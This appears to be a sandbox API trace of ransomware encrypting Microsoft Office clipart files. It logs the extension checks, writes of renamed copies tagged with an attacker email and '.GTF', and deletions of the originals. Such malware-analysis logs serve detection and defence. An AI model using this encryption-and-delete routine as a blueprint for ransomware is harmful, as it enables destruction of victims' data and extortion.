	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString=".zip") returned 4
	[0178.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.619] lstrlenW (lpString=".rar") returned 4
	[0178.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString=".bz2") returned 4
	[0178.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString=".7z") returned 3
	[0178.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.620] lstrlenW (lpString=".dbf") returned 4
	[0178.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.620] lstrlenW (lpString=".1cd") returned 4
	[0178.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.620] lstrlenW (lpString=".jpg") returned 4
	[0178.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.620] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.620] lstrlenW (lpString="J0153305.WMF") returned 12
	[0178.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0178.816] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=38488) returned 1
	[0178.816] CloseHandle (hObject=0x564) returned 1
	[0178.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220
	[0178.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0178.817] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.817] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0178.818] GetLastError () returned 0x0
	[0178.818] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x9658, lpOverlapped=0x0) returned 1
	[0178.823] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x9660, lpOverlapped=0x0) returned 1
	[0178.824] ReadFile (in: hFile=0x564, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.824] WriteFile (in: hFile=0x538, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.824] SetEndOfFile (hFile=0x538) returned 1
	[0178.824] CloseHandle (hObject=0x538) returned 1
	[0178.824] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.824] SetEndOfFile (hFile=0x564) returned 1
	[0178.842] CloseHandle (hObject=0x564) returned 1
	[0178.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1
	[0178.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.861] lstrlenW (lpString=".doc") returned 4
	[0178.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.861] lstrlenW (lpString=".docx") returned 5
	[0178.861] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.862] lstrlenW (lpString=".pdf") returned 4
	[0178.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString=".xls") returned 4
	[0178.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.862] lstrlenW (lpString=".xlsx") returned 5
	[0178.862] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.862] lstrlenW (lpString=".ppt") returned 4
	[0178.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString=".zip") returned 4
	[0178.862] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.862] lstrlenW (lpString=".rar") returned 4
	[0178.862] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString=".bz2") returned 4
	[0178.862] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString=".7z") returned 3
	[0178.862] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString=".dbf") returned 4
	[0178.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString=".1cd") returned 4
	[0178.862] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString=".jpg") returned 4
	[0178.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.862] lstrlenW (lpString=".doc") returned 4
	[0178.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString=".docx") returned 5
	[0178.862] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.862] lstrlenW (lpString=".pdf") returned 4
	[0178.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.862] lstrlenW (lpString=".xls") returned 4
	[0178.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.863] lstrlenW (lpString=".xlsx") returned 5
	[0178.863] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.863] lstrlenW (lpString=".ppt") returned 4
	[0178.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.863] lstrlenW (lpString=".zip") returned 4
	[0178.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.863] lstrlenW (lpString=".rar") returned 4
	[0178.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.863] lstrlenW (lpString=".bz2") returned 4
	[0178.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.863] lstrlenW (lpString=".7z") returned 3
	[0178.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.863] lstrlenW (lpString=".dbf") returned 4
	[0178.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.863] lstrlenW (lpString=".1cd") returned 4
	[0178.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68
	[0178.863] lstrlenW (lpString=".jpg") returned 4
	[0178.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.863] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.863] lstrlenW (lpString="J0153514.WMF") returned 12
	[0178.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.087] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12752) returned 1
	[0179.087] CloseHandle (hObject=0x530) returned 1
	[0179.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 0x220
	[0179.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0179.088] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.088] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0179.088] GetLastError () returned 0x0
	[0179.089] ReadFile (in: hFile=0x530, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x31d0, lpOverlapped=0x0) returned 1
	[0179.123] WriteFile (in: hFile=0x428, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x31e0, lpOverlapped=0x0) returned 1
	[0179.124] ReadFile (in: hFile=0x530, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.124] WriteFile (in: hFile=0x428, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.124] SetEndOfFile (hFile=0x428) returned 1
	[0179.124] CloseHandle (hObject=0x428) returned 1
	[0179.124] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.124] SetEndOfFile (hFile=0x530) returned 1
	[0179.127] CloseHandle (hObject=0x530) returned 1
	[0179.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".doc") returned 4
	[0179.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString=".docx") returned 5
	[0179.129] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.129] lstrlenW (lpString=".pdf") returned 4
	[0179.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString=".xls") returned 4
	[0179.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.129] lstrlenW (lpString=".xlsx") returned 5
	[0179.129] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.129] lstrlenW (lpString=".ppt") returned 4
	[0179.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".zip") returned 4
	[0179.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.129] lstrlenW (lpString=".rar") returned 4
	[0179.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString=".bz2") returned 4
	[0179.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString=".7z") returned 3
	[0179.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".dbf") returned 4
	[0179.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".1cd") returned 4
	[0179.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".jpg") returned 4
	[0179.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.129] lstrlenW (lpString=".doc") returned 4
	[0179.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString=".docx") returned 5
	[0179.130] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.130] lstrlenW (lpString=".pdf") returned 4
	[0179.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString=".xls") returned 4
	[0179.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.130] lstrlenW (lpString=".xlsx") returned 5
	[0179.130] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.130] lstrlenW (lpString=".ppt") returned 4
	[0179.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.130] lstrlenW (lpString=".zip") returned 4
	[0179.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.130] lstrlenW (lpString=".rar") returned 4
	[0179.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString=".bz2") returned 4
	[0179.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString=".7z") returned 3
	[0179.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.130] lstrlenW (lpString=".dbf") returned 4
	[0179.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.130] lstrlenW (lpString=".1cd") returned 4
	[0179.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0179.130] lstrlenW (lpString=".jpg") returned 4
	[0179.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.130] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.130] lstrlenW (lpString="J0156537.WMF") returned 12
	[0179.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.144] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1376) returned 1
	[0179.144] CloseHandle (hObject=0x540) returned 1
	[0179.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220
	[0179.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.145] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.145] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.146] GetLastError () returned 0x0
	[0179.147] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x560, lpOverlapped=0x0) returned 1
	[0179.148] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x570, lpOverlapped=0x0) returned 1
	[0179.149] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.149] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.149] SetEndOfFile (hFile=0x558) returned 1
	[0179.149] CloseHandle (hObject=0x558) returned 1
	[0179.149] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.149] SetEndOfFile (hFile=0x540) returned 1
	[0179.152] CloseHandle (hObject=0x540) returned 1
	[0179.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1
	[0179.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.153] lstrlenW (lpString=".doc") returned 4
	[0179.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.153] lstrlenW (lpString=".docx") returned 5
	[0179.153] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.153] lstrlenW (lpString=".pdf") returned 4
	[0179.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.153] lstrlenW (lpString=".xls") returned 4
	[0179.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.154] lstrlenW (lpString=".xlsx") returned 5
	[0179.154] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.154] lstrlenW (lpString=".ppt") returned 4
	[0179.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString=".zip") returned 4
	[0179.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.154] lstrlenW (lpString=".rar") returned 4
	[0179.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString=".bz2") returned 4
	[0179.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString=".7z") returned 3
	[0179.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString=".dbf") returned 4
	[0179.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString=".1cd") returned 4
	[0179.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString=".jpg") returned 4
	[0179.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.154] lstrlenW (lpString=".doc") returned 4
	[0179.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString=".docx") returned 5
	[0179.154] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.154] lstrlenW (lpString=".pdf") returned 4
	[0179.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.154] lstrlenW (lpString=".xls") returned 4
	[0179.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.154] lstrlenW (lpString=".xlsx") returned 5
	[0179.154] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.154] lstrlenW (lpString=".ppt") returned 4
	[0179.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
